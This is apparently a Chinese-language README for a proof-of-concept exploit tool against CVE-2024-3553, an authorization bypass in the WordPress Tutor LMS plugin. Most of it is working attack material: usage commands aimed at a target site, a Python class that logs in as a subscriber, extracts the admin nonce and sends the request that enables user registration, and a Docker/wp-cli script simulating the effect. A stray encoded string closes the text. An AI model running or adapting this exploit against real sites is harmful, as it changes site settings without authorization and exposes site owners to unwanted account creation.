Tutor LMS 权限校验缺失漏洞利用工具
本项目是针对 WordPress Tutor LMS – eLearning and online course solution 插件(版本 <= 2.6.2)中一个高危授权绕过漏洞(CVE-2024-3553)的概念验证(PoC)代码和自动化利用工具。
功能特性
- 漏洞原理分析:详细解析
classes/User.php文件中hide_notices()函数缺失current_user_can('manage_options')权限检查的根本原因。 - 自动化利用:提供完整的Python脚本,允许低权限用户(如订阅者)通过会话管理自动获取Nonce并发送恶意请求,启用用户注册功能。
- 灵活性:支持仅检查目标网站当前注册状态,无需执行实际利用。
- 手动复现指南:提供了清晰的Bash脚本和cURL命令步骤,用于手动完成登录、提取Nonce和触发漏洞的完整流程。
- 容器环境测试:集成了针对Docker容器环境的直接测试脚本,用于快速验证漏洞存在与否。
安装指南
环境要求
- Python 3.6+
requests库
依赖安装
# 安装Python依赖
pip install requests
手动测试依赖 (可选)
curl:用于手动发送HTTP请求grep:用于从响应中提取Nonce
使用说明
自动化利用脚本 (exploit-cve-2024-3553-v2.py)
该脚本模拟一个低权限用户(如订阅者)登录WordPress,自动获取管理员界面的Nonce,并发送构造的请求以启用用户注册。
基础用法:
# 使用已知的低权限账户登录并执行漏洞利用
python3 exploit-cve-2024-3553-v2.py https://target.com --username subscriber --password password123
# 仅检查当前用户注册功能状态,不进行利用
python3 exploit-cve-2024-3553-v2.py https://target.com --check-only
工作流程:
- 登录:脚本使用提供的用户名和密码向
/wp-login.php发送POST请求,获取会话Cookie。 - 获取Nonce:使用获取的Cookie访问
/wp-admin/,并从返回的HTML中提取必需的_wpnonce值。 - 发起攻击:向
/wp-admin/index.php发送带有tutor-hide-notice=registration和tutor-registration=enable参数的GET请求,并附上Nonce,从而启用users_can_register选项。 - 验证结果:可选地,再次检查注册状态是否已被修改为启用状态。
手动利用复现 (manual_exploit.sh)
此Bash脚本逐步演示了漏洞利用的各个阶段,适合教学和手动测试。
# 确保脚本具有执行权限
chmod +x manual_exploit.sh
# 运行脚本
./manual_exploit.sh
脚本会依次执行:
- 登录目标WordPress网站。
- 访问后台并提取Nonce。
- 构造并发送最终的攻击载荷。
- 显示关键步骤的输出,便于分析。
核心代码
漏洞利用核心逻辑 (TutorLMSExploit 类)
以下代码片段展示了漏洞利用的核心实现,包括会话保持、Nonce提取和漏洞触发。
class TutorLMSExploit:
def __init__(self, target_url, username=None, password=None):
self.target_url = target_url.rstrip('/')
self.session = requests.Session()
# ... 初始化代码 ...
def login(self):
"""模拟低权限用户登录,获取WordPress会话Cookie"""
login_url = urljoin(self.target_url, '/wp-login.php')
data = {
'log': self.username,
'pwd': self.password,
'wp-submit': 'Log In',
'testcookie': '1'
}
response = self.session.post(login_url, data=data)
# 检查登录是否成功(通过Cookie判断)
if any('wordpress_logged_in' in cookie.name for cookie in self.session.cookies):
return True
return False
def get_nonce(self):
"""从管理员页面提取Nonce"""
admin_url = urljoin(self.target_url, '/wp-admin/')
response = self.session.get(admin_url)
# 使用正则表达式匹配Nonce值
match = re.search(r'_wpnonce=([a-f0-9]+)', response.text)
if match:
return match.group(1)
return None
def enable_registration(self):
"""发送恶意请求,利用漏洞启用用户注册"""
if not self.login():
return False
nonce = self.get_nonce()
if not nonce:
return False
exploit_url = urljoin(self.target_url, '/wp-admin/index.php')
params = {
'tutor-hide-notice': 'registration',
'tutor-registration': 'enable',
'_wpnonce': nonce
}
response = self.session.get(exploit_url, params=params)
# 检查请求是否成功(非200状态码也可能成功,需结合业务逻辑判断)
return response.status_code == 200
漏洞验证核心逻辑 (test_direct.sh)
以下Bash脚本通过直接调用WordPress CLI (wp-cli) 在容器环境中模拟攻击载荷,直观展示漏洞影响。
#!/bin/bash
# 直接测试漏洞效果
CONTAINER="wordpress_container"
# 获取并展示当前用户注册设置
echo "[*] 初始注册状态:"
INITIAL=$(docker exec $CONTAINER wp option get users_can_register --allow-root)
echo " $INITIAL"
# 模拟漏洞攻击:直接更新选项,绕过所有权限检查
echo -e "\n[*] 模拟漏洞利用: update_option('users_can_register', 1);"
docker exec $CONTAINER wp option update users_can_register 1 --allow-root
# 验证选项已被修改
echo -e "\n[*] 攻击后注册状态:"
FINAL=$(docker exec $CONTAINER wp option get users_can_register --allow-root)
echo " $FINAL"
# 确认漏洞是否存在
if [ "$FINAL" = "1" ]; then
echo -e "\n[!] 漏洞存在: 低权限用户成功修改了系统选项!"
fi
6HFtX5dABrKlqXeO5PUv/0LVWd2rjIcp1yeGgl6uoJk=